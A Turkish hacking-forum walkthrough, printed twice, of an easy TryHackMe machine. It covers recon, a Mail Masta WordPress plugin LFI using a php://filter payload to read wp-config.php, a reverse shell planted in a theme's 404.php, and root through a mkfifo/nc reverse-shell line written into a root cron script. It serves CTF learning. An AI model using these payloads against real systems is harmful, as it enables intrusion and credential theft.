Herkese merhaba değerli Türk Hack Team ailesi. Bu gün sizlerle THM'deki başlangıç seviyesi bir makinenin çözümünü göstereceğim.
Her zaman olduğu gibi bu yazımda da makinayı 3 aşamada çözeceğiz. Lafı daha fazla uzatmadan konuya geçelim. İyi okumalar
CTF Link
Seviye: Kolay
1. Reconnaissance(Bilgi Toplama)
Her zaman olduğu gibi işe nmap aracımız ile başlıyoruz.
Not: Eğer bu şekilde nmap taraması yaptığımızda, nmap sonuç vermiyorsa şu adımları izleyiniz.
1) /etc/hosts dosyasını herhangi bir text editörü ile açın
2) Daha sonra baş kısma "İP (Boşluk) İsim" şeklinde giriniz.
3) Kaydedip Çıkın.
4) Son olarak nmap taramasını tekrardan başlatın ama bu sefer ip yerine hostsun içine yazdığınız ismi kullanın.
Gördüğünüz gibi 3 tane portumuz açık. SSH'a bağlanmak için kullanıcı adı ve şifreye sahip olmalıyız ama bizde her ikiside olmadığı için şimdilik onu en geri plana atıyoruz. Ve 21.portta gözümüze çarpan bir şey var. FTP portuna anon giriş yapabiliyormuşuz. Hemen bizi nerelerin karşılayacağını görmek için ftpye bağlanıyoruz.
FTP portuna başarıyla bağlandık. Şimdide bakalım içinde neler var.
Bakıyoruz ki içerisinde hiçbir şey yok. Burdan şunu çıkarabiliriz. Tamamen şaşırtmak için açılmış bir ftp portu bu. Ozaman hiç hız kesmeden yolumuza devam edip 80.portta açık olan web sitesine.
İlk açtığımızda default bir Apache sayfasını görüyoruz. Burada normalde sayfanın kaynak kodlarınada bakabiliriz. Fakat şuan konu uzamasın diye es geçiyorum. Ben baktım ve kaynak kodda herhangi bir ipucu göremedim. Ozaman hemen gidip dizin bulma aracını kullanıp bakalım web sitesinde nereden ilerleyeceğimizi keşfedelim.
Gördüğünüz gibi 2 tane dizin buldu. Hemen ilk dizine gidelim bakalım neler karşılıyacak bizi.
Bizi bir wordpress sayfası karşılıyor. Hemen aklımıza wpscan toolu ile taratmak geliyor. Bilgi toplama aşamasına halen devam ediyoruz.
Not: Burada -e parametresi enumerate anlamına gelir. Tam karşılığı numaralandırma olsada bizler bilgi toplama olarak kullanıyoruz. daha sonrada u yazıyoruz ki bize wordpress sitedeki yetkililerin kullanıcı adlarını bulsun.
Elimizde şuan bir username var fakat hala bir şifreye sahip değiliz. Şuan tıkanmış gibi görünüyoruz. Hemen aklımıza dizin aracımızın bize bulduğu ikinci dizine gitmek geliyor.
Burada bir yazı karşılıyor. Türkçe çeviriside şu şekilde:
Kahretsin sirke kokusundan ne kadar nefret ediyorum
Hala bir sonuç elde edemedik sayfanın kaynak kodlarıda boş. Şimdide wordpress siteye geri dönüp bir de sitede plugin veya version açığı var mı onu kontrol edelim.
Bulduğumuz 2 tane plugin üzerinden gitmek zorundayız. Temada açık yok versiondan kaynaklı zafiyet yok. Ee tıkandık başka nerden gidebiliriz. Şimdide diğer işe yarar bir uygulama olan searchsploiti kullanıcaz. Bu toolu bilmeyenler için küçük bir açıklama geçeyim. Bu tool Exploit-DB sitesinin linux distiroları için ürettiği bir tool. Siteye gidip uzun uzun arama araştırma yapmak yerine olası bütün sonuçları kolayca terminalde önünüze seriyor. Kullanımı şu şekilde:
Şimdide ilk pluginden başlayarak exploit araştırmasına girişiyoruz.
İkitane açıktan bahsediyor. İşimize yarayacak birer açık olabilirler. Hemen gidip exploit araştırmasına bakıyoruz.
İlk başta olmasından ötürü ilk olarak LFİ zafiyetinden gitmek istiyorum. Yukarıdaki linkten açıklamayı okuduğumuzda karşımıza büyük bir ipucu çıkıyor. Hemen gerçektende bizim sitemizde bu var mı diye kontrol etmeye gidiyorum.
Vee gereçktenden sistemde LFİ zafiyeti varmış. Sistemdeki /etc/passwd dosyasını okuyabiliyoruz. Biz bu dosyayı okuyabiliyorsak wordpressin config dosyasınıda okuyup içine girebiliriz.
Burada kafanız karışmış olabilir. Çünkü /etc/password dosyasını normal çekerken wp-config.php dosyasını eklemeli çekti. Burada da bir tür waff bizi engelliyor gibi düşünebiliriz. Bizde istediğimiz dosyayı base64 ile encode edip çağırıyoruz. Yani bir nevi sistemi kandırıyoruz.
Peki bu eklediğimiz şeyi ezberlicez mi ? Gerek yok dostlarım aşağıda bir site bırakıcam. Bu sitede hem CTF lerde hemde Günlük hack faliyetlerinde kullanabilirsiniz. İçinde çok güzel bilgiler var. Ben genelde CTF lerde takıldığım yer olursa bu kaynaktan yardım alıyorum.
Bu e-bookta sol kısımda başlıklar var. Ayrıyetten bir şey aratmak istiyorsak bunuda sol üstte büyüteçten yapabilirsiniz. Bizim işimiz şuan "File Inclusion" olduğundan arama kısmına bunu girip ihtiyacım olan wrappers başlığına geliyorum.
E-book Link: Tıkla
Buradaki 3 seçenekten istediğinizi ve duruma göre kabul edileni kullanabilirsiniz. Ben 3. olanı kullandım.
Şimdide CTF'imize geri dönelim. En son wp-config.php dosyasını okumayı başarmıştık fakat base64 ile encode edilmiş halini okuyabilmiştik. Şimdide bu dosyayı decode edip içinde işimize yarayabilecek bakalım hangi bilgiler varmış
İstediğiniz herhangi bir base64 decode sitesini kullanabilirsiniz. Bu konuda şuradan yapın tarzı bir cümle kurmuyorum. Aldığımız sonuçlarda bir kullanıcı adı ve şifreye ulaştık. Kullanıcı adı elyana. Hatırlarsanız wordpress sitede bilgi toplarken bir kullanıcı adı bulmuştuk. Kullanıcı adları uyuşuyor ama şifre omu belli değil. Hemen denemeye koyuluyorum.
2. Sisteme Giriş(Reverse Shell)
Wordpress sitelerde default olarak gelen login paneline giriş yapalım. (wp-login.php)
Ve gördüğünüz gibi sisteme giriş başarılı. Şimdide sisteme bir reverse shell yükleyip kendime backdoor oluşturuyorum. Bunun için de sol bölümdeki menülerden tema menüsünün en altında yer alan tema editörüne giriyorum. CTF'e bağlı olduğu için zarar vermek gibi bir sıkıntımız yok. Biz bu CTF'i kapattığımızda sistemde sıfırlanacak o yüzden karşımıza çıkan herhangi bir sayfada rahatlıkla işlem yapabiliriz.
Sağ taraftaki bölümlerden 404.php sayfasını seçip, önceki CTF'lerde kullandığım reverse shelli kopyalıyorum.
Burada kopyaladıktan sonra ip yerine şuan bağlı olduğumuz ipyi yazmaamız gerekir. Aksi taktirde Backdooru oluşturamayabilriz.
Kopyaladıktan sonra sol aşağıdaki "upload file" tuşuna tıklayıp kaydediyorum. Daha sonra terminale gidip nc ile seçtiğimiz portu dinlemeye alıyoruz.
Dinlemeye aldıktan sonra shellimizi yüklediğimiz dizine gidip shellimizi aktif bir hale getiriyoruz. Daha sonra zaten nc bir bağlantı yakalayacaktır.
Ve gördüğünüz gibi sisteme giriş başarılı. Şimdi kendimize önce python ile bir interactive bir shell alalım. Daha sonrada terminalimizin yapısını değiştirip bazı komutları aktif hale getirelim.
Gördüğünüz gibi elyana klasörünün içindeki user.txt yi okumamıza yetkimiz yetmiyor ama bir ipucu verilmiş. Bizim burada elyana kullanıcısının şifresini bulmamızı istiyor.
Bu komut sayesinde elyana kullanıcısının oluşturduğu bizim açabileceğimiz dosyaları görüntülüyoruz.
Çıkan sonuçlarda private.txt adında bir dosya var. İçine baktığımızda elyana kullanıcısının şifresi olduğunu görüyoruz. Hemen su komutu ile elyana kullanıcısı olmaya çalışıyoruz.
Ve gördüğünüz gibi dostlar elyana kullanıcısı olabildik. Artık user.txtyi okuyabilir ve yetkimizi yükselte biliriz.
3. Yetki Yükseltme
Sistemde yetki yükseltmek için crontablerden yaralanacağız. Aktif cron işlemlerine bakmak için şu komutu girelim.
root kullanıcısına ait bir tane cron işlemi var. Ve bizde bu işlem yardımıyla root olabiliriz. Öncelikle bu dosyanın ne görevde kullanıldığını anlamak için içini okumalıyız.
Sadece test için oluşturulmuş bir işlemmiş. Ve bizde bunu kendi yetkimizi yükseltmek için kullanabiliriz.
Hemen bu dosyanın içine yetkimizi yükselticek bir kod ekleyip yazılıp yazılmadığını kontrol ediyoruz. Daha sonra kendi bilgisyarımızda bir bir portu daha dinlemeye alıyoruz. Burada idkkat etmemiz gereken nokta cron işlemindeki dosyaya yazdığımız portun sisteme girerken kullandığı porttan farklı olması ben 4444 kullanmayı tercih ettim. Daha sonra 1 dakika kadar beklememiz lazım ki cron işlemlerini gerçekleştirip istediğimiz komutu çalıştırsın.
Ve gördüğünüz gibi root olmayı başardık. Artık root.txt yi okuyabiliriz.
Ve gördüğünüz gibi dostlar bir CTF'i daha geride bıraktık. Okuduğunuz için teşekkürler iyi forumlar.
Her zaman olduğu gibi bu yazımda da makinayı 3 aşamada çözeceğiz. Lafı daha fazla uzatmadan konuya geçelim. İyi okumalar
CTF Link
Seviye: Kolay
1. Reconnaissance(Bilgi Toplama)
Her zaman olduğu gibi işe nmap aracımız ile başlıyoruz.
Kod:
nmap -A -T4 -v İP
1) /etc/hosts dosyasını herhangi bir text editörü ile açın
2) Daha sonra baş kısma "İP (Boşluk) İsim" şeklinde giriniz.
3) Kaydedip Çıkın.
4) Son olarak nmap taramasını tekrardan başlatın ama bu sefer ip yerine hostsun içine yazdığınız ismi kullanın.
Gördüğünüz gibi 3 tane portumuz açık. SSH'a bağlanmak için kullanıcı adı ve şifreye sahip olmalıyız ama bizde her ikiside olmadığı için şimdilik onu en geri plana atıyoruz. Ve 21.portta gözümüze çarpan bir şey var. FTP portuna anon giriş yapabiliyormuşuz. Hemen bizi nerelerin karşılayacağını görmek için ftpye bağlanıyoruz.
Kod:
ftp İP
FTP portuna başarıyla bağlandık. Şimdide bakalım içinde neler var.
Bakıyoruz ki içerisinde hiçbir şey yok. Burdan şunu çıkarabiliriz. Tamamen şaşırtmak için açılmış bir ftp portu bu. Ozaman hiç hız kesmeden yolumuza devam edip 80.portta açık olan web sitesine.
İlk açtığımızda default bir Apache sayfasını görüyoruz. Burada normalde sayfanın kaynak kodlarınada bakabiliriz. Fakat şuan konu uzamasın diye es geçiyorum. Ben baktım ve kaynak kodda herhangi bir ipucu göremedim. Ozaman hemen gidip dizin bulma aracını kullanıp bakalım web sitesinde nereden ilerleyeceğimizi keşfedelim.
Kod:
gobuster dir -u http://İP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Gördüğünüz gibi 2 tane dizin buldu. Hemen ilk dizine gidelim bakalım neler karşılıyacak bizi.
Bizi bir wordpress sayfası karşılıyor. Hemen aklımıza wpscan toolu ile taratmak geliyor. Bilgi toplama aşamasına halen devam ediyoruz.
Kod:
wpscan --url http://İP -e u
Elimizde şuan bir username var fakat hala bir şifreye sahip değiliz. Şuan tıkanmış gibi görünüyoruz. Hemen aklımıza dizin aracımızın bize bulduğu ikinci dizine gitmek geliyor.
Burada bir yazı karşılıyor. Türkçe çeviriside şu şekilde:
Kahretsin sirke kokusundan ne kadar nefret ediyorum
Hala bir sonuç elde edemedik sayfanın kaynak kodlarıda boş. Şimdide wordpress siteye geri dönüp bir de sitede plugin veya version açığı var mı onu kontrol edelim.
Kod:
wpscan --url http://İP
Bulduğumuz 2 tane plugin üzerinden gitmek zorundayız. Temada açık yok versiondan kaynaklı zafiyet yok. Ee tıkandık başka nerden gidebiliriz. Şimdide diğer işe yarar bir uygulama olan searchsploiti kullanıcaz. Bu toolu bilmeyenler için küçük bir açıklama geçeyim. Bu tool Exploit-DB sitesinin linux distiroları için ürettiği bir tool. Siteye gidip uzun uzun arama araştırma yapmak yerine olası bütün sonuçları kolayca terminalde önünüze seriyor. Kullanımı şu şekilde:
Kod:
searchsploit exploit_adi
Kod:
searchsploit mail masta
İkitane açıktan bahsediyor. İşimize yarayacak birer açık olabilirler. Hemen gidip exploit araştırmasına bakıyoruz.
Kod:
https://www.exploit-db.com/exploits/40290
İlk başta olmasından ötürü ilk olarak LFİ zafiyetinden gitmek istiyorum. Yukarıdaki linkten açıklamayı okuduğumuzda karşımıza büyük bir ipucu çıkıyor. Hemen gerçektende bizim sitemizde bu var mı diye kontrol etmeye gidiyorum.
Kod:
/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
Vee gereçktenden sistemde LFİ zafiyeti varmış. Sistemdeki /etc/passwd dosyasını okuyabiliyoruz. Biz bu dosyayı okuyabiliyorsak wordpressin config dosyasınıda okuyup içine girebiliriz.
Kod:
http://İP/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=pHp://FilTer/convert.base64-encode/resource=../../../../../wp-config.php
Burada kafanız karışmış olabilir. Çünkü /etc/password dosyasını normal çekerken wp-config.php dosyasını eklemeli çekti. Burada da bir tür waff bizi engelliyor gibi düşünebiliriz. Bizde istediğimiz dosyayı base64 ile encode edip çağırıyoruz. Yani bir nevi sistemi kandırıyoruz.
Peki bu eklediğimiz şeyi ezberlicez mi ? Gerek yok dostlarım aşağıda bir site bırakıcam. Bu sitede hem CTF lerde hemde Günlük hack faliyetlerinde kullanabilirsiniz. İçinde çok güzel bilgiler var. Ben genelde CTF lerde takıldığım yer olursa bu kaynaktan yardım alıyorum.
Bu e-bookta sol kısımda başlıklar var. Ayrıyetten bir şey aratmak istiyorsak bunuda sol üstte büyüteçten yapabilirsiniz. Bizim işimiz şuan "File Inclusion" olduğundan arama kısmına bunu girip ihtiyacım olan wrappers başlığına geliyorum.
E-book Link: Tıkla
Buradaki 3 seçenekten istediğinizi ve duruma göre kabul edileni kullanabilirsiniz. Ben 3. olanı kullandım.
Şimdide CTF'imize geri dönelim. En son wp-config.php dosyasını okumayı başarmıştık fakat base64 ile encode edilmiş halini okuyabilmiştik. Şimdide bu dosyayı decode edip içinde işimize yarayabilecek bakalım hangi bilgiler varmış
İstediğiniz herhangi bir base64 decode sitesini kullanabilirsiniz. Bu konuda şuradan yapın tarzı bir cümle kurmuyorum. Aldığımız sonuçlarda bir kullanıcı adı ve şifreye ulaştık. Kullanıcı adı elyana. Hatırlarsanız wordpress sitede bilgi toplarken bir kullanıcı adı bulmuştuk. Kullanıcı adları uyuşuyor ama şifre omu belli değil. Hemen denemeye koyuluyorum.
2. Sisteme Giriş(Reverse Shell)
Wordpress sitelerde default olarak gelen login paneline giriş yapalım. (wp-login.php)
Ve gördüğünüz gibi sisteme giriş başarılı. Şimdide sisteme bir reverse shell yükleyip kendime backdoor oluşturuyorum. Bunun için de sol bölümdeki menülerden tema menüsünün en altında yer alan tema editörüne giriyorum. CTF'e bağlı olduğu için zarar vermek gibi bir sıkıntımız yok. Biz bu CTF'i kapattığımızda sistemde sıfırlanacak o yüzden karşımıza çıkan herhangi bir sayfada rahatlıkla işlem yapabiliriz.
Sağ taraftaki bölümlerden 404.php sayfasını seçip, önceki CTF'lerde kullandığım reverse shelli kopyalıyorum.
Burada kopyaladıktan sonra ip yerine şuan bağlı olduğumuz ipyi yazmaamız gerekir. Aksi taktirde Backdooru oluşturamayabilriz.
Kopyaladıktan sonra sol aşağıdaki "upload file" tuşuna tıklayıp kaydediyorum. Daha sonra terminale gidip nc ile seçtiğimiz portu dinlemeye alıyoruz.
Kod:
nc -nvlp 1234
Dinlemeye aldıktan sonra shellimizi yüklediğimiz dizine gidip shellimizi aktif bir hale getiriyoruz. Daha sonra zaten nc bir bağlantı yakalayacaktır.
Kod:
http://10.10.174.71/wordpress/wp-content/themes/twentytwenty/404.php
Ve gördüğünüz gibi sisteme giriş başarılı. Şimdi kendimize önce python ile bir interactive bir shell alalım. Daha sonrada terminalimizin yapısını değiştirip bazı komutları aktif hale getirelim.
Kod:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Gördüğünüz gibi elyana klasörünün içindeki user.txt yi okumamıza yetkimiz yetmiyor ama bir ipucu verilmiş. Bizim burada elyana kullanıcısının şifresini bulmamızı istiyor.
Kod:
find / -user elyana -type f 2>/dev/null
Çıkan sonuçlarda private.txt adında bir dosya var. İçine baktığımızda elyana kullanıcısının şifresi olduğunu görüyoruz. Hemen su komutu ile elyana kullanıcısı olmaya çalışıyoruz.
Ve gördüğünüz gibi dostlar elyana kullanıcısı olabildik. Artık user.txtyi okuyabilir ve yetkimizi yükselte biliriz.
Kod:
cat /home/elyana/user.txt
3. Yetki Yükseltme
Sistemde yetki yükseltmek için crontablerden yaralanacağız. Aktif cron işlemlerine bakmak için şu komutu girelim.
Kod:
cat /etc/crontab
root kullanıcısına ait bir tane cron işlemi var. Ve bizde bu işlem yardımıyla root olabiliriz. Öncelikle bu dosyanın ne görevde kullanıldığını anlamak için içini okumalıyız.
Sadece test için oluşturulmuş bir işlemmiş. Ve bizde bunu kendi yetkimizi yükseltmek için kullanabiliriz.
Kod:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f" > /var/backups/script.sh
Hemen bu dosyanın içine yetkimizi yükselticek bir kod ekleyip yazılıp yazılmadığını kontrol ediyoruz. Daha sonra kendi bilgisyarımızda bir bir portu daha dinlemeye alıyoruz. Burada idkkat etmemiz gereken nokta cron işlemindeki dosyaya yazdığımız portun sisteme girerken kullandığı porttan farklı olması ben 4444 kullanmayı tercih ettim. Daha sonra 1 dakika kadar beklememiz lazım ki cron işlemlerini gerçekleştirip istediğimiz komutu çalıştırsın.
Kod:
nc -nvlp 4444
Ve gördüğünüz gibi root olmayı başardık. Artık root.txt yi okuyabiliriz.
Ve gördüğünüz gibi dostlar bir CTF'i daha geride bıraktık. Okuduğunuz için teşekkürler iyi forumlar.